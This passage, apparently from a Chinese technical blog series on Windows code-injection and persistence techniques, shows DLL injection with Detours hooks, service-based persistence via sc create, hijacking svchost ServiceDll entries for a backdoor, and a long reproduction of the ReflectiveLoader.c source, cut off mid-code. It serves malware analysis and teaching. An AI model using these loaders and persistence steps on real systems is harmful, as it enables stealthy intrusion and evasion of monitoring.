**)&oldWriteFile, newWriteFile); //撤销拦截函数 DetourTransactionCommit();//拦截生效 } // 劫持别人的程序:通过DLL注入,并调用Hook函数实现劫持。 // 劫持系统:通过DLL注入系统程序(如winlogon.exe)实现劫持系统函数。 _declspec(dllexport) void main() { Hook(); // 拦截 }
编译得到dll文件,打开dll注入工具,点击add,选择"notepad_api_hijack_dll.dll"
https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe
点击Advanced,在Init routine中填写动态库(dll)中的函数的名称,我们这里是main,点击注入后,可以在进程加载dll列表中看到已经注入成功
为了触发我们的Hook动作,我们随便保存一个文件,可以看到弹框了
这里需要注意,32bit的dll不能注入64bit的进程,如果我们需要对64bit的进程进行Hook注入,需要编译出一份64bit的detours dll
同时需要注意,MS-Detours只能拦截WIN32 API,对原生C++的API无法拦截
Relevant Link:
http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html http://blog.csdn.net/zhoujiaxq/article/details/18656951 https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours
15. 以服务形式执行DLL中指定函数/或直接指定EXE作为启动程序
0x1:技术原理
一般来说,黑客利用漏洞植入Dll入侵时,会先通过rundll32.exe执行dllmain,dllmain里会接收并判断传入的参数(例如-k,-i等),根据不同的参数执行例如service install,主恶意逻辑执行等
值得注意的是,恶意代码执行附加代码的另一种方式是将它作为服务安装,服务同时也提供了另一种在系统上维持持久化驻留的方式。windows操作系统支持多种服务类型,它们以独特的方式执行
SC_HANDLE WINAPI CreateService( _In_ SC_HANDLE hSCManager, _In_ LPCTSTR lpServiceName, _In_opt_ LPCTSTR lpDisplayName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwServiceType, _In_ DWORD dwStartType, _In_ DWORD dwErrorControl, _In_opt_ LPCTSTR lpBinaryPathName, _In_opt_ LPCTSTR lpLoadOrderGroup, _Out_opt_ LPDWORD lpdwTagId, _In_opt_ LPCTSTR lpDependencies, _In_opt_ LPCTSTR lpServiceStartName, _In_opt_ LPCTSTR lpPassword ); dwServiceType 1. SERVICE_ADAPTER(0x00000004) 2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service. 3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 加载代码到内核中执行 4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved. 5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 恶意代码有时也会使用,在一个exe中保存代码。并且作为一个独立的进程运行 6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 恶意代码最常使用的就是这个类型,这种类型将服务对应的代码保存在一个DLL中,并且在一个共享的进程中组合多个不同的服务 7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account. 8. SERVICE_USER_SHARE_PROCESS(0x00000060) dwStartType 1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup. 2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services. 3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function. 4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED. 5. SERVICE_SYSTEM_START(0x00000001)
关于本地系统上的服务信息被保存在注册表中
1. services.msc,然后打开"remote procedure call" 2. C:\Windows\system32\svchost.exe -k rpcss: 这说明rpcss服务是依靠svchost调用"rpcss"参数来实现的,而参数的内容则是存放在系统注册表中的 3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]项。svchost进程通过读取"rpcss"服务注册表信息,就能启动该服务了 1) 找到类型为"reg_expand_sz"的键"imagepath",其键值为"%SystemRoot%\system32\svchost.exe -k rpcss" 2) 另外在"parameters"子项中有个名为"servicedll"的键,其值为"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服务要使用的动态链接库文件
0x2:示例代码
SampleServiceMain.cpp
#include <Windows.h> #include <tchar.h> // need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM). SERVICE_STATUS g_ServiceStatus = {0}; // need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM. SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv); VOID WINAPI ServiceCtrlHandler (DWORD); DWORD WINAPI ServiceWorkerThread (LPVOID lpParam); #define SERVICE_NAME _T("My Sample Service") int _tmain (int argc, TCHAR *argv[]) { OutputDebugString(_T("My Sample Service: Main: Entry")); SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). if (StartServiceCtrlDispatcher (ServiceTable) == FALSE) { OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error")); return GetLastError (); } OutputDebugString(_T("My Sample Service: Main: Exit")); return 0; } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; OutputDebugString(_T("My Sample Service: ServiceMain: Entry")); //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask. g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error")); goto EXIT; } // Tell the service controller we are starting // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING. ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } /* * Perform tasks neccesary to start the service here */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations")); // Create stop event to wait on later. g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error")); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } goto EXIT; } // Tell the service controller we are started g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } // Start the thread that will perform the main task of the service // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 这个dll服务是以线程的形式运行的 HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL); OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete")); // Wait until our worker thread exits effectively signaling that the service needs to stop WaitForSingleObject (hThread, INFINITE); OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled")); /* * Perform any cleanup tasks */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations")); CloseHandle (g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } EXIT: OutputDebugString(_T("My Sample Service: ServiceMain: Exit")); return; } /* The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM. 我们在GUI界面上点击启动、停止的action处理需要ServiceCtrlHandler函数回调来处理 */ VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry")); switch (CtrlCode) { /* here have only implemented and supported the SERVICE_CONTROL_STOP request. we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function. */ case SERVICE_CONTROL_STOP : OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request")); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; /* * Perform tasks neccesary to stop the service here */ g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error")); } // This will signal the worker thread to start shutting down SetEvent (g_ServiceStopEvent); break; default: break; } OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit")); } // This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. // Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service. DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry")); // Periodically check if the service has been requested to stop while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { /* * Perform main service function here */ // Simulate some work by sleeping Sleep(3000); } OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit")); return ERROR_SUCCESS; }
这里有几点要重点理解
- 服务程序一般写成控制台应用程序,main函数为入口函数(如果是dll就是dllMain函数)
- main函数的参数在CreateService函数中指定(例如有些恶意软件在植入时采取无参数形式,而在注册服务时加入了额外的参数,以此来区分入侵植入和服务自动启动而走不同的逻辑)
- 当SCM启动一个服务程序时,SCM等待服务程序调用StartServiceCtrlDispatcher函数,如果服务进程没有及时调用该函数,则会导致启动服务失败,所以我们要注册成服务的exe或者dll里我么需要自己实现StartServiceCtrlDispatcher的调用逻辑
- 在分析恶意代码的时候,我们会遇到这种情况,exe/dll的main逻辑里很简单,只有声明一个ServiceStartTable服务结构体,设置成员变量,然后就是调用StartServiceCtrlDispatcherA启动真正的逻辑函数
Installing the Service
sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe
注册表键值
Uninstalling the Service
sc delete "My Sample Service"
16. SERVICE_WIN32_SHARE_PROCESS - 以DLL形式在共享的svchost.exe中运行服务
0x1:技术原理
svchost.exe是一个属于微软Windows操作系统的系统程序,微软官方对它的解释是:Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的
进程文件: svchost or svchost.exe
进程名称: Generic Host Process for Win32 Services
进程类别: 系统进程
位置: C:\windows\system32\svchost.exe
英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated
svchost.exe是一类通用的进程名称。它是和运行动态链接库(DLLs)的Windows系统服务相关的。在机器启动的时候,svchost.exe检查注册表中的服务,运行并载入它们。经常会有多个svchost.exe同时运行的情况,每一个都表示该计算机上运行的一类基本服
SERVICE_WIN32_SHARE_PROCESS和独立进程方式本质上没有区别,唯一区别在于imagepath是一个dll路径,同时它也支持传入对应的参数,但是我们在进程列表里看不到这个dll,而只能看到svchost.exe进程
Relevant Link:
http://baike.baidu.com/item/svchost.exe/552746
https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx
https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx
https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
http://www.devx.com/cplus/Article/9857/0/page/2
17. 劫持现有Service的启动DLL
0x1:技术原理
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放着svchost启动的组和组内的各个服务,如果要使用svchost启动某个服务,则该服务名就会出现在该目录下。
利用这个机制执行DLL的方法如下:
- 添加一个新的组,在组里添加服务名
- 在现有组里添加服务名
- 直接使用现有组里的一个服务名,但是本机没有安装的服务:PortLess BackDoor使用的该方法
- 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门
Relevant Link:
http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html
18. Reflective DLL injection In Memory - 从内存中的dll binary加载/注入dll技术
0x1:技术原理
内存dll注入技术是一种从内存buffer中(msf常使用该技术从远程C&C中下载dll payload)注入dll到本机进程的技术,为了躲避API监控,它常常自带PE Loader代码,即在注入DLL中先调用一个ReflectiveLoader()导出函数,该函数的作用是"模拟PE Loader",即模拟windows dll loader的过程把自身加载链接到目标进程地址空间中,并调用真正的DllMain入口函数
大体上说,这个技术的攻击流程如下
1. 获得CPU执行权限 1) 可能通过CreateRemoteThread() 2) 或者微型注入的shellcode
3) apc dll注入 2. 调用流程到了ReflectiveLoader,如果是dll注入,则该函数必须是dll的一个导出函数 3. 注入的dll或者shellcode可能在目标进程的任意内存位置,ReflectiveLoader做的第一件事是获取当前所在的镜像基地址 1) _ReturnAddress 2) call-pop被用来自定位 4. 通过PEB方式动态获取核心动态链接库和API函数地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader重新申请了一块用于存放DLL的内存地址 6. 将DLL的header和节逐个拷贝到申请的内存地址中 7. 处理导入函数,加载依赖库(使用LoadLibrary),填充IAT 8. 重定位,修复偏移 9. 获取该DLL的真实入口地址,需要注意的是,DLL的入口地址往往都不是DllMain而是修改过的(MSF常用该技术躲避sandbox检测) 9. 通过函数指针的方式调用DLL的DllMain函数,使用DLL_PROCESS_DETACH为参数调用DLL入口点,把控制流转到真实的入口地址Entry Point
0x2:示例代码
1. ReflectiveLoader.c - 模拟pe loader
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// #pragma intrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } //===============================================================================================// // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, // otherwise the DllMain at the end of this file will be used. // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, // otherwise it is assumed you are calling the ReflectiveLoader via a stub. // This is our position independent reflective DLL loader/injector #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) #else DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) #endif { // the functions we need LOADLIBRARYA pLoadLibraryA = NULL; GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; USHORT usCounter; // the initial location of this image in memory ULONG_PTR uiLibraryAddress; // the kernels base address and later this images newly loaded base address ULONG_PTR uiBaseAddress; // variables for processing the kernels export table ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; // variables for loading this image ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; // STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { // 通过逐个DWORD搜索0x5A4D // MZ关键字动态搜索DLL的文件头 if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block // 获取PEB #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; /* 动态获取API函数地址 KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) NTDLLDLL_HASH(pNtFlushInstructionCache) */ // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } else if( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 1; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } // we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // get the next entry uiValueA = DEREF( uiValueA ); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. // 重新在目标被注入进程中申请一块新的可读可写可执行内存 uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // we must now copy over the headers // 写入DLL的文件头 uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // STEP 3: load in all of our sections... // uiValueA = the VA of the first section uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itterate through all sections, loading them into memory. // 从DLL中逐个节拷贝到目标进程中 uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } // STEP 4: process our images import table... // 在被注入进程的内存空间中重建写入DLL的导入表 // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // uiValueC is the first entry in the import table uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD = VA of the OriginalFirstThunk uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patch in the address for this imported function DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, 